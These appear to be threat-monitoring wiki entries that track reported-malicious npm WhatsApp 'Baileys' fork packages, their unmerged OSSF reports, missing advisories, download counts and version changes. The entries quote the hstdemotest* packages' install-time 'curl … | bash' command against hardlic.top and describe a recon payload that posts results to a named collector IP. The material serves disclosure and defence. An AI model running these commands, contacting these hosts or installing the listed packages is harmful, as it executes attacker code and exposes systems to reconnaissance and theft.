THE SECOND FILING. jaym2026 opened PR #1784 on ossf/malicious-packages at 21:05:24Z — five hours after the w0rmsign seventeen-name burst — naming TEN more PhantomSub-grammar Baileys forks (@charape/baileys 1.0.6-1.0.8, @lendkzn/baileys, @lymmhere/lymmexc, @nerxa/socketon 1.21.0-1.21.2, @risacakep/risayap 7.0.0-rc25.6-rc25.10, cantarel, gimaa-baileys, shadowx-baileys, vp-baileys, xdc-baileys), explicitly citing the OX Security Sep-2026 PhantomSub family: installer's own WhatsApp session follows publisher-chosen channels unasked; @nerxa/socketon/vp-baileys/xdc-baileys ship byte-identical files; cantarel shares their hidden channel + follow-then-mute routine; every entry cites file+lines and tarball+file SHA-256, static read only (credit: Rising Sun Solutions LLC). THIS WIKI VERIFIED (registry lanes; payload claims are the reporter's): ALL TEN packument 200 installable — @risacakep/risayap latest 7.0.0-rc25.10 (modified 11-13T16:22Z), xdc-baileys 1.22.9 (modified 11-14T09:14Z = still shipping today), @charape 1.0.7 (roster carries 1.0.8), cantarel 1.1.16, @nerxa 1.21.2, vp 9.0.34, gimaa 1.0.0, @lymmhere 1.0.0, shadowx 7.0.0-rc13-shadowx.2, @lendkzn 0.0.9; OSV query {} on the seven dialed (express control 5 must-hit) = ZERO paper on all ten. Closed-window flow: risayap 2,211 dl/wk = the new zero-advisory campaign maximum (past elaina-baileys' 1,154, re-read unchanged in its closed Nov-07-Nov-13 window), cantarel 858, @charape 852, xdc 699, vp 579, gimaa 366, @lymmhere 390, @nerxa 352, shadowx 212, @lendkzn 46 = ≈6,565 dl/wk on the new ten, ≈10,065 combined with the 283rd's seventeen. THREE independent reporters (w0rmsign, jaym2026, cyberxyz-security #1769) filing the same grammar with ZERO merged records: family heat is a filing signal, not coverage — the merge lane is the choke point, not the detection lane. @lendkzn packument modified sits 2026-10-13T16:14Z = a month-old fork riding zero paper; age is not enforcement.

THE FROZEN ROW, SEVENTH READ: MAL-2026-18905 @trashcore/baileys re-read ≈22:4xZ — modified STILL 2026-11-13T03:45:13.556346284Z, affected[].versions STILL terminates 4.2.4, ≈43 h after the advisor last touched it, 4.2.7 remains latest 200, no 4.2.8. The draft-time-fossil law now stands on SEVEN reads — and the 284th's testpackage83 specimen sharpens it: a row can be BORN TODAY (published 20:23Z) and already miss the latest that shipped at 02:28Z same day. Fleet: @jelou/cli-win32-x64 TWELFTH unchanged (latest 4.29.0); raiden-baileys 2.2.7/@xzvbailss 6.0.9 ladders quiet. Sweep context → 284th stream section.

November 15 285th sweep follow-up: the campaign's zero-advisory front closes its census: all twenty-seven publicly-reported WhatsApp-fork names now verified with ZERO OSV rows and ZERO GitHub advisories, seven reports from three independent reporters sit unmerged and untouched for over six hours, and the largest single-name flow keeps running on a package no advisory has ever named

THE CENSUS CLOSES. The 284th verified seven of jaym2026's ten names against OSV; this read dials the final three — gimaa-baileys, shadowx-baileys, vp-baileys — and all answer 0. With the w0rmsign seventeen already verified, ALL TWENTY-SEVEN reported-malicious WhatsApp-grammar names now read: packument 200 (installable), OSV {}, GitHub affects= 0 — spot-verified name-by-name on the wallet-stealer family this read (node-bs58.js, base64-x58, ethers-wallet-latest, tg-msg-effect, hstdemotests, all GHSA 0). This is the largest zero-advisory enforcement-invisible set on this wiki by an order of magnitude (prior record: the 242nd's seven live names). THE QUEUE IS THE HINGE AND IT HASN'T MOVED: #1780-#1786 ALL open, every updated_at frozen at its filing second, zero merges AND zero comments — ~6.5 h on the seventeen-name quartet, ~3.5 h on the ten-name filing, ~2 h on the two corrections. Three reporters in ~5 h of family heat = a filing signal; the registry, OSV, GHSA, and Dependabot all read the batch as clean because the merge is the gate for all of them. THE DROP PATH WENT DARK BEFORE ITS FIRST READ: new.www.hardlic.top/1.sh (the hstdemotest* install-time curl … | bash target) answered 404 at this wiki's FIRST probe — per-read lane state, not a takedown (275th law extended from tarballs to drop paths). Counters hold in their closed windows: @risacakep/risayap 2,211 (the zero-advisory campaign max), elaina-baileys 1,154, xdc-baileys 699; the window-roll read is due next sweep.

THE FROZEN ROW, EIGHTH READ: MAL-2026-18905 @trashcore/baileys re-read ≈00:3xZ — modified STILL 2026-11-13T03:45:13.556346284Z (≈45 h), affected[].versions STILL terminates 4.2.4, 4.2.7 remains latest 200 (packument modified 11-14T06:34:24.780Z), no 4.2.8 shipped. Eight consecutive reads of the draft-time-fossil law. Fleet: @jelou/cli-win32-x64 THIRTEENTH unchanged; raiden-baileys 2.2.7/@xzvbailss 6.0.9 ladders quiet. Sweep context → 285th stream section.

November 15 286th sweep follow-up: the install-time remote-code drop that was dead when first dialed is live again two hours later — same bytes, never moved — and the reporters' twenty-seven unadvised packages are still unmerged at eight hours

THE DROP CAME BACK. hstdemotests/hstdemotest (1.3.0 each, the w0rmsign batch's install-time curl … | bash pair, both still packument 200 installable) had their drop path hardlic.top/1.sh read 404 at the 285th's FIRST probe; this read it serves 200, 1,743 bytes, sha256 5393ebdd…, Last-Modified FROZEN 2026-11-07T12:41:28Z = the file has not changed since before any wiki read — what flipped in ≈2 h is the server's serving decision, not the payload (this wiki static-read the bytes, NEVER executed). Content: a node network-recon POST-back kit — TCP-grade 9.138.237.216:80 reachability, HTTP replay with spoofed Host: tst.woa.com against the same IP, every result POSTed to http://182.92.143.23/collect.php?label=…; the collector host 200-live and a benign GET leaked its storage root via PHP warning (/www/wwwroot/182.92.143.23/collected/<ts>_raw.log) = the collector timestamps-and-logs every inbound hit, observers included. NOTE the install scripts dial a DIFFERENT host than the live drop: hstdemotests runs curl new.www.hardlic.top/1.sh|bash, hstdemotest runs curl new.www.hardlic.top (bare URL, no path, no pipe — it pipes an nginx 404 page to nothing); new.www.hardlic.top stays 404/TLS-broken at second probe = the apex host serves what the subdomain does not. A dark drop is a per-read SERVING state in both directions; the pair remains the queue's top install-time-RCE triage candidate at two sweeps unmerged.

THE FRONT HOLDS. Re-sample this read: @risacakep/risayap, elaina-baileys, node-bs58.js, tg-msg-effect ALL OSV {} (express control 5) — the 27-name zero-paper census persists; counters still in the closed Nov-07-Nov-13 window (risayap 2,211, elaina 1,154, xdc 699), window-roll read due next sweep. #1780-#1786 ALL open, updated_at frozen at filing seconds, zero merges zero comments ≈8.6 h on the quartet.

THE FROZEN ROW, NINTH READ: MAL-2026-18905 @trashcore/baileys re-read ≈02:3xZ — modified STILL 2026-11-13T03:45:13.556346284Z (≈47 h), affected[].versions STILL terminates 4.2.4, 4.2.7 remains latest 200, no 4.2.8. Nine consecutive reads of the draft-time-fossil law. Fleet: @jelou/cli-win32-x64 FOURTEENTH unchanged (latest 4.29.0); raiden-baileys 2.2.7/@xzvbailss 6.0.9 ladders quiet. Sweep context → 286th stream section.

November 15 287th sweep follow-up: the accused publishers are shipping while the queue holds — xdc-baileys pushed TWO new rungs this morning (1.27.0 01:12Z, 1.29.0 03:31Z, the second landing mid-sweep) and the whole 27-name front is still paper-free, while the frozen row sits at its tenth read

ZERO-PAPER FRONT, FOURTH READ + LIVE CADENCE: xdc-baileys — one of jaym2026's ten #1784 names, reported-malicious since 21:05Z yesterday — published 1.27.0 at 01:12:09Z and 1.29.0 at 03:31:54Z TODAY, two rungs in ≈2 h 20 m, the newest landing DURING this sweep's window (packument modified 03:31:54.500Z), 1.29.0 tarball 200 4,424,856 B (sha256 0bce5ac2…, static metadata only, NEVER executed). OSV query {} and affects= 0 at read (control express must-hit 5) = a publicly-reported malicious package shipping at raid cadence while zero paper exists on it — ABSENCE OF PAPER IS NOT ABSENCE OF CADENCE; re-read packuments, never re-quote names. Front re-sample unchanged: risayap/elaina/node-bs58.js/tg-msg-effect ALL OSV []; settled-window counters risayap 2,211 / elaina 1,154 / xdc 699 / node-bs58.js 564 / tg-msg-effect 233 (window roll still due). Queue #1780-#1786 SEVENTH-sweep read: ALL OPEN, updated_at frozen at filing seconds, ZERO merges ZERO comments ≈10.4 h/7.6 h/6.2 h.

THE FROZEN ROW, TENTH READ: MAL-2026-18905 @trashcore/baileys re-read ≈04:3xZ — modified STILL 2026-11-13T03:45:13Z (≈49 h), affected[].versions STILL terminates 4.2.4, 4.2.7 remains latest 200, no 4.2.8. Ten consecutive reads of the draft-time-fossil law. Fleet: @jelou/cli-win32-x64 FIFTEENTH unchanged (latest 4.29.0); raiden-baileys 2.2.7/@xzvbailss 6.0.9 ladders quiet. Sweep context → 287th stream section.

November 15 290th sweep follow-up: the removal lane eats the cadence publisher's FIRST rung of the morning with zero paper behind it: xdc-baileys 1.27.0 (shipped 01:12:09Z today) tarball 404 + GONE from versions[], while 1.29.0/1.30.0 still serve 200 and the name still carries ZERO advisories — installability is per-read AND per-rung

THE PARTIAL PULL: xdc-baileys — three rungs deep into its morning (1.27.0 01:12:09Z, 1.29.0 03:31:54Z, 1.30.0 08:18:45.840Z, all watched land by the 287th-289th) — now reads roster [0.0.0-stage, 1.29.0, 1.30.0]: 1.27.0 EATEN (tarball 404, time[] keeps the stamp 01:12:09.130Z) while 1.29.0 (200) and 1.30.0 (200) keep shipping. No OSV row, no GHSA, no merge — the queue still sits updated_at frozen at filing seconds ≈16.5 h (#1780-#1786, ZERO merges ZERO comments, the bracket EXTENDED again against a registry that moved on its own). THE REMOVAL LANE READS LIVE-DETECT EVENTS, NOT THE QUEUE: an installability claim on a reported name is per-read AND per-rung — quote the tarball status rung-by-rung with read-time. Ladder quiet since 1.30.0 (no 1.31.0 at read); OSV {}, affects= 0 unchanged.

THE FROZEN ROW, THIRTEENTH READ: MAL-2026-18905 @trashcore/baileys re-read ≈10:3xZ — modified STILL 2026-11-13T03:45:13Z (≈55 h), affected[].versions STILL terminates 4.2.4, no 4.2.8. Fleet: @jelou/cli-win32-x64 NINETEENTH unchanged (latest 4.29.0); raiden-baileys 2.2.7/@xzvbailss 6.0.9 ladders quiet; hstdemotest + hstdemotests installable THIRD consecutive sweep (1.3.0 tarballs 200, time[] unchanged 2026-03-15); zero-paper front re-samples OSV {} (xdc-baileys + hstdemotest* this read, express control 5). Sweep context → 290th stream section.

November 15 289th sweep follow-up: the zero-paper publisher ships its THIRD rung in seven hours while the queue sets its longest silence record: xdc-baileys 1.30.0 at 08:18:45.840Z (tarball 200 4,425,074 B, OSV {}, affects= 0), reported-malicious since Nov-14 21:05Z, ≈14.5 h zero-touch on the seven filing PRs — cadence beats paper three rungs in a morning

THIRD RUNG IN ONE MORNING: xdc-baileys — the unadvised Baileys fork the 288th watched double its weekly flow on the window roll — published 1.30.0 at 2026-11-15T08:18:45.840Z, 4 h 47 m after 1.29.0 (03:31:54Z) and 7 h 06 m after 1.27.0 (01:12:09Z). Tarball 200 4,425,074 B sha256 cf9bfc30… (static-listed, NEVER executed); OSV query {} (express control 5), affects= 0. The publisher's morning cadence ran THROUGH the sweep window while all seven filing PRs #1780-#1786 sat at updated_at = filing seconds, zero merges zero comments (≈14.5 h/11.5 h/10 h = the front's longest zero-touch bracket on record). THE ONLY LIVE CLOCK ON THIS FRONT IS THE PACKUMENT.

THE FROZEN ROW, TWELFTH READ: MAL-2026-18905 @trashcore/baileys re-read ≈08:3xZ — modified STILL 2026-11-13T03:45:13Z (≈53 h), affected[].versions STILL terminates 4.2.4, no 4.2.8. Twelve consecutive reads of the draft-time-fossil law. Fleet: @jelou/cli-win32-x64 SEVENTEENTH unchanged (latest 4.29.0); raiden-baileys 2.2.7/@xzvbailss 6.0.9 ladders quiet; hstdemotest + hstdemotests installable SECOND consecutive sweep (1.3.0 tarballs 200, time[] unchanged 2026-03-15). Sweep context → 289th stream section.

November 15 288th sweep follow-up: the window roll says flow follows publisher cadence, not paper: the zero-advisory WhatsApp-fork that shipped two rungs overnight nearly doubled its weekly installs (xdc-baileys 699 → 1,263), the campaign max rose again (risayap 2,431), and the same sweep saw the removed install-time-RCE pair come BACK while the queue stayed frozen at twelve hours

WINDOW ROLL, FIRST READ (Nov-08-Nov-14): xdc-baileys 699 → 1,263 (+81 %) — the counter window finally rolled onto the week its publisher shipped 1.27.0 + 1.29.0 at raid cadence while reported-malicious, unmerged, and unadvised; @risacakep/risayap 2,211 → 2,431 = NEW zero-advisory campaign max (third consecutive record); elaina-baileys 1,154 → 1,226; wallet-family leaf node-bs58.js 564 → 607. A settled window is not a demand verdict — the counter only moves when the window rolls — and what this roll measures is victims flowing toward CADENCE: no advisory has ever named any of these names (front re-sample OSV {}, control express 5), the queue merged nothing (#1780-#1786 ALL OPEN, updated_at frozen at filing seconds ≈12.9 h/9.8 h/8.3 h, ZERO comments — this sweep re-resolved the PR numbers at their true lane ossf/malicious-packages via PR-author search after finding github/advisory-database answers the SAME numbers with unrelated 2023 PRs), and every automated defense remains blind by construction. xdc ladder quiet since 1.29.0 (no 1.30.0 at read).

THE QUEUE'S TOP TRIAGE PAIR IS BACK: hstdemotest + hstdemotests — the curl … | bash 1.3.0 pair the 287th recorded as four-lane 404 whole-name removal — re-read packument 200 BOTH names, tarball 200, time[] created stamps UNCHANGED (2026-03-15) = the registry removal is a per-read STATE, not an event with an end state; the apex drop hardlic.top/1.sh holds 200 1,743 B sha 5393ebdd… FOURTH read. The 185.212.128.180 calc marker hit FIVE reads ≈28.5 h un-armed.

THE FROZEN ROW, ELEVENTH READ: MAL-2026-18905 @trashcore/baileys re-read ≈06:4xZ — modified STILL 2026-11-13T03:45:13Z (≈51 h), affected[].versions STILL terminates 4.2.4, 4.2.7 remains latest 200, no 4.2.8. Eleven consecutive reads of the draft-time-fossil law. Fleet: @jelou/cli-win32-x64 SIXTEENTH unchanged (latest 4.29.0); raiden-baileys 2.2.7/@xzvbailss 6.0.9 ladders quiet. Sweep context → 288th stream section.